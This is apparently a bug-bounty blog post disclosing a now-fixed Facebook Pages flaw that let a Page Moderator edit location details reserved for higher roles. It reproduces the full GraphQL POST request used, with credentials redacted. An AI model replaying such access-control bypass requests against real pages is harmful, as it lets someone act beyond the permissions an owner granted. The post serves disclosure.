Facebook Page Location $$$$ Privilage escalation bug

 This is all about the Location of a Facebook Page.



Page Moderator
can edit the Additional location settings of the Page.

The below image shows the Location details of the Page in the Settings.



The Location Settings of the Facebook page can be edited only with privileges above the Editor.

Here's the HTTP POST request that can edit the Location.

POST /api/graphql/ HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 1962
Origin: https://www.facebook.com/
Connection: close
Referer: https://www.facebook.com/888888/page/info/editing/?entry_point=comet&end_point=comet_left_nav_bar&interface=full_page
Cookie:****

av=PAGE_ID&__user=88888&__a=1&__dyn=/-*/&__csr=//**-/***-**-2yqqcjyi2-/**-*-**&__req=1g&__beoa=0&__pc=EXP3%3Acomet_pkg&dpr=1&__ccg=GOOD&__rev=1002917235&__s=xpsqfy%3A3xhm19%3A9pd6ui&__hsi=888-0&__comet_req=1&fb_dtsg=**%**&jazoest=22034&__spin_r=1002917235&__spin_b=trunk&__spin_t=88&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=PagesCometEditPageAddressMutation&variables=%7B%22input%22%3A%7B%22city_id%22%3Anull%2C%22city_name%22%3A%22%3C%3Cnot-applicable%3E%3E%22%2C%22end_point%22%3A%22comet_left_nav_bar%22%2C%22entry_point%22%3A%22comet%22%2C%22pageid%22%3A%22PAGE_ID%22%2C%22street%22%3A%22%3C%3Cnot-applicable%3E%3E%22%2C%22zipcode%22%3A%22%3C%3Cnot-applicable%3E%3E%22%2C%22actor_id%22%3A%22PAGE_ID%22%2C%22client_mutation_id%22%3A%224%22%7D%7D&server_timestamps=true&doc_id=3091323057601562

With this bug any one with Page Moderator role can edit the Additional Location Details. 

Don't even try to hack now. Now the bug is fixed.

Comments